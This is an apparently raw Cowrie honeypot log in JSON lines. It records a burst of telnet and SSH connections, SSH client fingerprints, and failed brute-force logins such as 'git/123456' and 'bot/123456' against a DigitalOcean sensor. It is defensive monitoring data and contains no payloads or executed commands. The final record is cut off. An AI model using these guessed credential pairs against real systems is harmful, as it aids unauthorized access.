{"eventid":"cowrie.session.connect","src_ip":"128.136.227.204","src_port":45978,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3899fc33fa4","protocol":"telnet","message":"New connection: 128.136.227.204:45978 (159.203.135.109:23) [session: d3899fc33fa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:36.156675Z"}
{"eventid":"cowrie.session.closed","duration":30.794013500213623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:36.203659Z","src_ip":"34.125.158.14","session":"b8f05aa1e973","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:36.402636Z","src_ip":"192.109.200.78","session":"0400bd933919","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.639771461486816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:36.977218Z","src_ip":"34.125.158.14","session":"17d2b5ea01ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":56150,"dst_ip":"159.203.135.109","dst_port":23,"session":"fba47acd395e","protocol":"telnet","message":"New connection: 157.250.199.120:56150 (159.203.135.109:23) [session: fba47acd395e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:37.054888Z"}
{"eventid":"cowrie.session.closed","duration":30.76893377304077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:37.101166Z","src_ip":"34.125.158.14","session":"d03ff4e84544","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":42522,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc6e806fe0ed","protocol":"telnet","message":"New connection: 34.125.158.14:42522 (159.203.135.109:23) [session: dc6e806fe0ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:37.289368Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":38006,"dst_ip":"159.203.135.109","dst_port":23,"session":"86b7abf8885a","protocol":"telnet","message":"New connection: 5.42.229.203:38006 (159.203.135.109:23) [session: 86b7abf8885a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:37.510417Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":38004,"dst_ip":"159.203.135.109","dst_port":23,"session":"61d02cfe3d9f","protocol":"telnet","message":"New connection: 5.42.229.203:38004 (159.203.135.109:23) [session: 61d02cfe3d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:37.521575Z"}
{"eventid":"cowrie.session.closed","duration":30.75996422767639,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:38.197239Z","src_ip":"34.125.158.14","session":"bf7b1bbc200e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":48728,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d7130d6d380","protocol":"telnet","message":"New connection: 66.113.160.81:48728 (159.203.135.109:23) [session: 4d7130d6d380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:38.863681Z"}
{"eventid":"cowrie.session.closed","duration":30.354707956314087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:39.087746Z","src_ip":"34.125.158.14","session":"0f777c70a74c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.767215490341187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:39.112321Z","src_ip":"34.125.158.14","session":"df0fa6ac1110","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33758,"dst_ip":"10.17.0.5","dst_port":22,"session":"e369188a79f0","protocol":"ssh","message":"New connection: 192.109.200.78:33758 (10.17.0.5:22) [session: e369188a79f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:39.164328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:39.190773Z","src_ip":"192.109.200.78","session":"e369188a79f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:39.248744Z","src_ip":"192.109.200.78","session":"e369188a79f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:39.706794Z","src_ip":"192.109.200.78","session":"e369188a79f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.129.70","src_port":58444,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3dfd210fbd8","protocol":"telnet","message":"New connection: 172.104.129.70:58444 (159.203.135.109:23) [session: a3dfd210fbd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:39.713593Z"}
{"eventid":"cowrie.session.closed","duration":30.87612771987915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:40.208775Z","src_ip":"128.136.227.204","session":"0fb2e0a10340","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.60.120.238","src_port":36252,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac0bd33a331e","protocol":"telnet","message":"New connection: 69.60.120.238:36252 (159.203.135.109:23) [session: ac0bd33a331e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:40.214987Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":44848,"dst_ip":"159.203.135.109","dst_port":23,"session":"591984b54b82","protocol":"telnet","message":"New connection: 34.125.158.14:44848 (159.203.135.109:23) [session: 591984b54b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:40.286190Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.114.58","src_port":40292,"dst_ip":"159.203.135.109","dst_port":23,"session":"03da257dec6e","protocol":"telnet","message":"New connection: 62.210.114.58:40292 (159.203.135.109:23) [session: 03da257dec6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:40.742237Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:40.796447Z","src_ip":"192.109.200.78","session":"e369188a79f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":57630,"dst_ip":"159.203.135.109","dst_port":23,"session":"035b5a464ec1","protocol":"telnet","message":"New connection: 157.250.199.120:57630 (159.203.135.109:23) [session: 035b5a464ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:41.029097Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.95.121","src_port":52500,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d62879fcaed","protocol":"telnet","message":"New connection: 139.59.95.121:52500 (159.203.135.109:23) [session: 9d62879fcaed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:41.534221Z"}
{"eventid":"cowrie.session.closed","duration":30.949259281158447,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:42.007281Z","src_ip":"137.184.59.230","session":"4de5bc6add92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":57636,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7ed7886a273","protocol":"telnet","message":"New connection: 157.250.199.120:57636 (159.203.135.109:23) [session: b7ed7886a273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:42.071783Z"}
{"eventid":"cowrie.session.closed","duration":30.753596544265747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:42.084108Z","src_ip":"34.125.158.14","session":"895d69915936","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.60.120.238","src_port":36752,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfad34a34604","protocol":"telnet","message":"New connection: 69.60.120.238:36752 (159.203.135.109:23) [session: bfad34a34604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:42.097810Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.60.120.238","src_port":36758,"dst_ip":"159.203.135.109","dst_port":23,"session":"8161a66208e8","protocol":"telnet","message":"New connection: 69.60.120.238:36758 (159.203.135.109:23) [session: 8161a66208e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:42.117199Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.60.120.238","src_port":36778,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4945caefa69","protocol":"telnet","message":"New connection: 69.60.120.238:36778 (159.203.135.109:23) [session: f4945caefa69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:42.179106Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.60.120.238","src_port":36804,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b087dfa2059","protocol":"telnet","message":"New connection: 69.60.120.238:36804 (159.203.135.109:23) [session: 7b087dfa2059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:42.188904Z"}
{"eventid":"cowrie.session.closed","duration":30.636200189590454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:43.092978Z","src_ip":"34.125.158.14","session":"8f2a9df0b98b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.60.120.238","src_port":37202,"dst_ip":"159.203.135.109","dst_port":23,"session":"da4b14594ccc","protocol":"telnet","message":"New connection: 69.60.120.238:37202 (159.203.135.109:23) [session: da4b14594ccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:43.147565Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":57650,"dst_ip":"159.203.135.109","dst_port":23,"session":"be723c197783","protocol":"telnet","message":"New connection: 157.250.199.120:57650 (159.203.135.109:23) [session: be723c197783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:43.236659Z"}
{"eventid":"cowrie.session.closed","duration":30.862229108810425,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:43.277977Z","src_ip":"34.125.158.14","session":"ff961f17d482","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33766,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f578bfeda7b","protocol":"ssh","message":"New connection: 192.109.200.78:33766 (10.17.0.5:22) [session: 0f578bfeda7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:43.322842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:43.328594Z","src_ip":"192.109.200.78","session":"0f578bfeda7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":50996,"dst_ip":"159.203.135.109","dst_port":23,"session":"d23208596de1","protocol":"telnet","message":"New connection: 66.113.160.81:50996 (159.203.135.109:23) [session: d23208596de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:43.427569Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:43.696892Z","src_ip":"192.109.200.78","session":"0f578bfeda7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":51184,"dst_ip":"159.203.135.109","dst_port":23,"session":"9181e5c401d8","protocol":"telnet","message":"New connection: 66.113.160.81:51184 (159.203.135.109:23) [session: 9181e5c401d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:43.779806Z"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:43.946386Z","src_ip":"192.109.200.78","session":"0f578bfeda7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.63992977142334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:43.982406Z","src_ip":"66.113.160.81","session":"e87ec4500f43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86054301261902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:44.179245Z","src_ip":"34.125.158.14","session":"98cae3181fea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.60.120.238","src_port":37534,"dst_ip":"159.203.135.109","dst_port":23,"session":"640dab8e71d3","protocol":"telnet","message":"New connection: 69.60.120.238:37534 (159.203.135.109:23) [session: 640dab8e71d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:44.186348Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.95.121","src_port":52668,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddb7654e3c4e","protocol":"telnet","message":"New connection: 139.59.95.121:52668 (159.203.135.109:23) [session: ddb7654e3c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:44.443017Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":51696,"dst_ip":"159.203.135.109","dst_port":23,"session":"519cce0455d2","protocol":"telnet","message":"New connection: 66.113.160.81:51696 (159.203.135.109:23) [session: 519cce0455d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:44.720778Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:45.034050Z","src_ip":"192.109.200.78","session":"0f578bfeda7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.783961296081543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:45.179990Z","src_ip":"34.125.158.14","session":"84cf6a23ee55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.969111919403076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:45.195770Z","src_ip":"34.125.158.14","session":"922cfe4807e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.966044902801514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:45.200362Z","src_ip":"34.125.158.14","session":"108d6e501ca9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.891863107681274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:45.205460Z","src_ip":"34.125.158.14","session":"63631ba42927","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.919918298721313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:45.211954Z","src_ip":"34.125.158.14","session":"4a3c5ae38a91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":48876,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6abb1459b6e","protocol":"telnet","message":"New connection: 34.125.158.14:48876 (159.203.135.109:23) [session: c6abb1459b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:45.239343Z"}
{"eventid":"cowrie.session.closed","duration":30.945518732070923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:45.322716Z","src_ip":"34.125.158.14","session":"61c2f461110b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":49554,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b5528ae4217","protocol":"telnet","message":"New connection: 34.125.158.14:49554 (159.203.135.109:23) [session: 2b5528ae4217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:45.999601Z"}
{"eventid":"cowrie.session.closed","duration":30.680191040039062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:46.077919Z","src_ip":"34.125.158.14","session":"37131923d227","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.801176071166992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:46.108956Z","src_ip":"34.125.158.14","session":"943ef818c466","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.861016750335693,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:46.247028Z","src_ip":"34.125.158.14","session":"058038ba0ef9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94436240196228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:46.262414Z","src_ip":"34.125.158.14","session":"89a539f417fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.012555599212646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:47.050085Z","src_ip":"137.184.59.230","session":"95fbcc99fc62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":57660,"dst_ip":"159.203.135.109","dst_port":23,"session":"422f1d815c95","protocol":"telnet","message":"New connection: 157.250.199.120:57660 (159.203.135.109:23) [session: 422f1d815c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:47.082502Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":50358,"dst_ip":"159.203.135.109","dst_port":23,"session":"b09a83114d11","protocol":"telnet","message":"New connection: 34.125.158.14:50358 (159.203.135.109:23) [session: b09a83114d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:47.360336Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":50460,"dst_ip":"159.203.135.109","dst_port":23,"session":"384fe90aab96","protocol":"telnet","message":"New connection: 34.125.158.14:50460 (159.203.135.109:23) [session: 384fe90aab96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:47.428953Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.124.226","src_port":60450,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ce31c37a2a4","protocol":"telnet","message":"New connection: 198.50.124.226:60450 (159.203.135.109:23) [session: 6ce31c37a2a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:47.527068Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33776,"dst_ip":"10.17.0.5","dst_port":22,"session":"75cf107385f0","protocol":"ssh","message":"New connection: 192.109.200.78:33776 (10.17.0.5:22) [session: 75cf107385f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:47.631883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:47.637312Z","src_ip":"192.109.200.78","session":"75cf107385f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 